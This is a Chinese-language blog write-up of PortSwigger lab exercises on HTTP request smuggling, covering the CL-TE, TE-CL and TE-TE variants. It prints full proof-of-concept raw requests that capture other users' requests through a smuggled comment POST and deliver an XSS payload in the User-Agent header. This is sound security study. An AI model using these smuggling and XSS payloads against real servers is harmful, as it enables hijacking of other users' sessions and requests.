http请求走私漏洞

访问Burp靶场速度感人..都要哭了(如果没有账户的先创建账户)

基础补充

pipeline

http1.1有了Pipeline,就不需要等待Server端的响应了。浏览器默认不启用pipeline但服务器相反

keepalive

通过Connection: keep-alive 这个头部来实现,服务端和客户端都可以使用它告诉对方在发送完数据之后不需要断开 TCP 连接。

CL

就是Content-Length, 这个content-length有多长,读过这个数就停止了

TE

就是Transfer-Encoding, TE遇0结束跟个\r\n。只定义了一种格式:chunked(分块编码)

Burp的特性

传值是隔一行才算进去



这里我开启了bp的默认更新CL

改请求格式就不讲了

绕过Waf就不讲了..

五种http走私

截图来自于spidersec,twitter上自己去搜

  • CL!=0: 就是CL不等于0呗
  • CL-CL: 前端和后端都是用CL认证
  • CL-TE: 前端用CL认证,后端用TE认证
  • TE-CL: 前端用TE认证,后端用CL认证
  • TE-TE: 前端和后端都是用TE认证

CL-TE

后端TE认证,会屏蔽掉CL

靶场环境:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

记住要加Transfer-Encoding: chunked
把Bp的更新CT关掉

解释下为什么CL设置成6,一个Enter是2字节,2*2=4,4+1(0)+A(0)



第一次读取正常,接着Go一次

TE-CL

后端遵守CL

https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

记住要加Transfer-Encoding: chunked
把Bp的更新CT关掉



因为是CL认证,5是muxue的字节,我设置cl是3(5+enter=3)

第一遍正常请求,发送第二遍



OK...

就是因为后端采用了CL认证,后面的数据会被放进缓冲区,然后再请求一遍去加载

TE-TE

同样采用TE认证

但是可以混淆绕过,弄两个transfer-encoding哈哈

https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header



第二个TE头是来混淆的,我们再次发送请求看看会不会成功



如果单一的transfer-encoding:chunked我们来试试

怎么请求都是200

smuggling造成的用户劫持

https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests



有一个正常的可以输出自定义内容的页面,This is very important

然后我们来利用走私漏洞达到劫持,普通请求一个get页面看看

Poc
POST / HTTP/1.1
Host: accb1f821e43d7f880b21132005e0079.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: session=orHUORZ04SyNccC7qC2mth4imb66G8aZ
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 712
Transfer-encoding: chunked 0 POST /post/comment HTTP/1.1
Host: accb1f821e43d7f880b21132005e0079.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://accb1f821e43d7f880b21132005e0079.web-security-academy.net/post?postId=5
Cookie: session=orHUORZ04SyNccC7qC2mth4imb66G8aZ
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1190 csrf=bvhD9jnQtfj05BLQDksbPhzXpG3RjLNq&postId=5&name=cnm&email=cnm%40gmai.com&website=https%3A%2F%2Ftest.com&comment=cnm-hacker

这个我用edge整了很长时间,没有成功,用firefox就成功了。不知道是什么原因...

没用的可以删掉

为什么cl要这么大:因为要留出来一部分给受害者请求

为什么comment要放最后面:我看人家都把显示位拼接在后面,我照葫芦画瓢要是有人知道,请教一哈

content-length一定要大



出现这个,基本上就成了

smuggling配合xss

https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss

官方提示了,UA头那里



配合http request smuggling

这个洞我又回到了edge.. 真不知道哪里出错了

POC
POST / HTTP/1.1
Host: aca41fab1efac68183430f27008e0073.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Edg/87.0.664.41
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=ZnqUY5GnCnPJpeZxkKQLSlEfMc77jmHw
Content-Type: application/x-www-form-urlencoded
Content-Length: 600
Transfer-encoding: chunked 0 GET /post?postId=1 HTTP/1.1
Host: aca41fab1efac68183430f27008e0073.web-security-academy.net
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: "><script>alert(/xss/)</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=ZnqUY5GnCnPJpeZxkKQLSlEfMc77jmHw

正常发送一次,数据会被带到缓冲区,然后受害者请求网站,达到半存储型xss



这种感觉只要持续发送这个包,就可以达到存储型XSS吧

案例

等以后挖到 慢慢更新

2020 12.22 19:38 更新

最近因忙于备战高考... 也没搞安全,反正带专见呗 冲不动了

然后今晚也挖到了个

细节我确实也写了 但是不在博客园 各位有缘就能看见(滑稽)

Article:https://portswigger.net/web-security/request-smuggling

Http Request Smuggling - Note的更多相关文章

  1. [Java Web]Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors

    手机客户端向服务器提交Http请求时,Tomcat抛出错误: 十二月 31, 2014 2:32:45 下午 org.apache.coyote.http11.AbstractHttp11Proces ...

  2. 信息: Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level

    四月 , :: 下午 org.apache.coyote.http11.AbstractHttp11Processor process 信息: Error parsing HTTP request h ...

  3. 为什么一个Http Header中的空格会被骇客利用 - HTTP request smuggling

    figure:last-child { margin-bottom: 0.5rem; } #write ol, #write ul { position: relative; } img { max- ...

  4. 利用Haproxy搭建 HTTP 请求走私(Request smuggling)环境

    Haproxy 介绍 HAProxy是一个使用C语言编写的自由及开放源代码软件,其提供高可用性.负载均衡,以及基于TCP和HTTP的应用程序代理. 请求走私(Request smuggling)概念证 ...

  5. Portswigger web security academy:HTTP request smuggling

    HTTP request smuggling 目录 HTTP request smuggling HTTP request smuggling, basic CL.TE vulnerability H ...

  6. HTTP Request Smuggling 请求走私

    参考文章 浅析HTTP走私攻击 SeeBug-协议层的攻击--HTTP请求走私 HTTP 走私漏洞分析 简单介绍 攻击者通过构造特殊结构的请求,干扰网站服务器对请求的处理,从而实现攻击目标 前提知识 ...

  7. Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors...java.lang.IllegalArgumentException: Invalid character found in the request target. The valid characters are

    先将异常信息贴出: 该问题是tomcat进行http request解析的时候报的错,网上的解决办法主要是修改Tomcat的server.xml,在<Connector port="8 ...

  8. Tomcat:Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level.

    可能原因一: 在本地tomcat启动正常并且访问正常的项目放在服务器上tomcat报以上错误. 本地tomcat为7.0.68,服务器上为7.0.86 错误原因:服务器tomcat版本过高. 解决办法 ...

  9. Get提交数据过大,tomcat报错,信息: Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level

    原因 get提交的数据过大,超过了默认值. 解决办法 get提交配置 设置tomcat的server.xml.找到我们启动的端口,一般是8080,增加maxHttpHeaderSize= " ...

随机推荐

  1. unity中的文件存储路径与各平台(Android,iOS)的关系

    原文链接:unity中的文件存储路径与各平台(Android,iOS)的关系 主要是这个问题困扰我了一阵子,所以特写写... unity中的的各种存储方法的对应关系(直接上截图吧) 重点说的是Appl ...

  2. k8s 1.12 环境部署及学习笔记

    1.K8S概述 1.Kubernetes是什么 2.Kubernetes特性 3.Kubernetes集群架构与组件 4.Kubernetes核心概念 1.1 Kubernetes是什么 • Kube ...

  3. 12.QT项目中启用c++11语法支持

    greater Than(QT_MAJOR_VERSION, 4): CONFIG += c++11 less Than(QT_MAJOR_VERSION, 5): QMAKE_CXXFLAGS += ...

  4. 4、nfs服务器的搭建

    4.1.nfs服务介绍: samba服务器一般互联网企业不会使用 nfs服务的端口是不固定的,需要先启动rpc服务对nfs服务端口进行注册 4.2.安装nfs: rpm -qa nfs-utils r ...

  5. Postgresql:postgres命令行导入sql文件

    sql文件导入 psql -d jdbc -h localhost -p 5432 -U postgres -f /home/sql/test.sql #-d 数据库名称 #-h ip地址 #-p 端 ...

  6. 在web.xml正确加载spring配置文件的方式

    ssm框架整合时一直报出没有创建实例bean的错误,一直以为是代码原因,反复测试了很久,才找到原因是spring配置文件没有正确导入,下图是我的错误示例 web.xml加载spring配置文件的方式主 ...

  7. 合并N个长度为M的有序数组为一个N*M的有序数组

    题目:合并N个有序数组,每个数组的长度为M,合并为N*M的有序数组.时间复杂度要求最低 解法:N个数组进行两两合并,合并后的数组再继续执行合并过程,最后合成N*M的有序数组.可以认为合并这个递归过程发 ...

  8. mysql 深度解析auto-increment自增列"Duliplicate key"问题

    转载自:https://cloud.tencent.com/developer/article/1367681 问题描述 近期,线上有个重要Mysql客户的表在从5.6升级到5.7后master上插入 ...

  9. buu 不一样的flag

    一.查壳 二.拖入ida,分析 从这里和51到53行的代码,基本判断这是一个迷宫题,并且是5行5列的一个迷宫.我当时感觉到一个奇怪的地方是 第一个,我自己想明白是因为可能是int型,数字占了4个字节, ...

  10. JAVA入门基础及流程控制

    JAVA入门基础及流程控制 数据类型 位 存储单位 eg:0001 0011 八位 字节 byte 处理数据单位 一字节等于八位 eg:1b=0011 0001 类变量: static int num ...